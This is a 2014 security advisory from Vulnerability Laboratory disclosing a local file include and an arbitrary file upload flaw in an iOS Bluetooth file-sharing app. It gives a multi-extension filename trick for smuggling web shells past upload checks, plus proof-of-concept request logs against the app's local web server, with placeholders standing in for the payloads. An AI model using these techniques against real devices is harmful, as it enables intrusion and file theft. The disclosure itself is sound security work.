Document Title:
===============
Bluetooth Photo Share Pro v2.0 iOS - Multiple Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1218


Release Date:
=============
2014-02-27


Vulnerability Laboratory ID (VL-ID):
====================================
1218


Common Vulnerability Scoring System:
====================================
6.7


Product & Service Introduction:
===============================
This is the best bluetooth sharing and file transfer app in app store. Transfer photos, videos, music, 
contacts and any file between two iPhone,iPad and/or iPod Touches over bluetooth connection. Requires 
iPhone 3G or later or 2nd generation iPod Touch or later . Does not require any 3G or WiFi connection.

(Copy of the Homepage: https://itunes.apple.com/us/app/bluetooth-photo-video-music/id590196698 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the official Bluetooth Photo/Video/Music/Contact Share Pro v2.0 iOS  mobile application.


Vulnerability Disclosure Timeline:
==================================
2014-02-27:  Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Apple AppStore
Product: Bluetooth Photo Share - iOS Mobile Web Application 2.0


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the officialBluetooth Photo/Video/Music/Contact Share Pro v2.0 iOS mobile application.
The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands 
to compromise the web-application or mobile device.

The web vulnerability is located in the `filename` value of the `Select File  to Upload` function POST method request. Remote attackers are 
able to inject own files with malicious `filename` to compromise the mobile application. The attack vector is persistent and the request 
method is POST. The local file/path include execution occcurs in the main index file dir list of the path section after the regular upload. 
The security risk of the local file include web vulnerability is estimated as high(+) with a cvss (common vulnerability scoring system) 
count of 7.4(+)|(-)7.5.

Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account with password. 
Successful exploitation of the local web vulnerability results in mobile application or connected device component compromise.

Request Method(s):
        [+] [POST]

Vulnerable Module(s):
        [+] Select File > Upload

Vulnerable Parameter(s):
        [+] filename

Affected Module(s):
        [+] Index File Dir List (http://localhost:8080)



1.2
An arbitrary file upload web vulnerability has been discovered in the officialBluetooth Photo/Video/Music/Contact Share Pro v2.0 iOS mobile application.
The arbitrary file upload issue allows remote attackers to upload files with multiple extensions to bypass the web-server or system validation.

The vulnerability is located in the `upload` (video and images) module. Remote attackers are able to upload a php or js web-shells by renaming 
the file with multiple extensions to bypass the file restriction mechanism. The attacker uploads for example a web-shell with the following name 
and extension `image.gif.jpg.html.js.aspx.jpg`. After the upload the attacker needs to open the file in the web application. He deletes the .jpg & 
.gif file extension and can access the application with elevated access rights. The security risk of the arbitrary file upload web vulnerability is 
estimated as high with a cvss (common vulnerability scoring system) count of 6.1(+)|(-)6.2.

Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privileged application user account with password.
Successful exploitation of the vulnerability results in unauthorized file access because of a compromise after the upload of web-shells.


Request Method(s):
        [+] [POST]

Vulnerable Module(s):
        [+] Select File > Upload

Vulnerable Parameter(s):
        [+] filename (multiple extensions)

Affected Module(s):
        [+] Index File Dir List (http://localhost:8080/)


Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by remote attackers without privileged web-application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided steps and information below to continue.

PoC: filename

<table id="filetable" cellpadding="0" cellspacing="0" width="860px">
<thead><tr><th class="file">File Name</th><th style="padding-left:15px">File Size</th><th class="actionbutton"></th><th class="actionbutton"></th></tr></thead>
<tbody id="filelist" style="padding-left:15px;">
<tr><td class="file"><a href="/files/[LOCAL FILE INCLUDE WEB VULNERABILITY!]" class="file"><./[LOCAL FILE INCLUDE WEB VULNERABILITY!]"></a></td>
<td class='info'>23.81K</td><td class='actionbutton' >
<form><input type='button' value='Download' onClick="window.location.href='/files/[LOCAL FILE INCLUDE WEB VULNERABILITY!]'"></form></td><td class='actionbutton' >
<form action='/files/[LOCAL FILE INCLUDE WEB VULNERABILITY!]' method='post' ><input name='_method' value='delete' type='hidden'/><input name="commit" type="submit" 
value="Delete" class='button' /></form></td></tr></tbody></table></iframe></a></td></tr></tbody></table>

--- PoC Session Logs [POST] ---

20:31:19.936[165ms][total 165ms] Status: 302[Found]
POST http://localhost:8080/files Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[67] Mime Type[text/html]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------10162615616712
Content-Disposition: form-data; name="newfile"; filename="./[LOCAL FILE INCLUDE VULNERABILITY]<"
Content-Type: image/jpeg


20:31:21.700[156ms][total 222ms] Status: 200[OK]
GET http://localhost:8080/ Load Flags[LOAD_DOCUMENT_URI  LOAD_REPLACE  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[61465] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[61465]
      Date[Mi., 26 Feb. 2014 19:40:03 GMT]


20:31:22.980[46ms][total 46ms] Status: 404[Not Found]
GET http://localhost:8080/a Load Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[0] Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[0]
      Date[Mi., 26 Feb. 2014 19:40:04 GMT]




1.2
The arbitrary file upload vulnerability can be exploited by remote attackers without privileged web-application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided steps and information below to continue.

PoC: filename as path
http://localhost:8080/files/[ARBITRARY FILE UPLOAD VULNERABILITY!]"


--- PoC Session Logs [POST] ---

20:31:19.936[165ms][total 165ms] Status: 302[Found]
POST http://localhost:8080/files Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[67] Mime Type[text/html]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------10162615616712
Content-Disposition: form-data; name="newfile"; filename="./[ARBITRARY FILE UPLOAD VULNERABILITY!].jpeg.gif.php.js.aspx.gif.jpeg<"
Content-Type: image/jpeg


Solution - Fix & Patch:
=======================
1.1
The first vulnerability can be patched by a secure parse and encode of the vulnerable filename value in the upload POST method request.

1.2
The second vulnerability can be patched by a secure restriction of the filename value user input in the upload POST method request.


Security Risk:
==============
1.1
The security risk of the local file include web vulnerability is estimated as high(+).

1.2
The security risk of the arbitrary file upload  web vulnerability is estimated as high(-).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


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=========================
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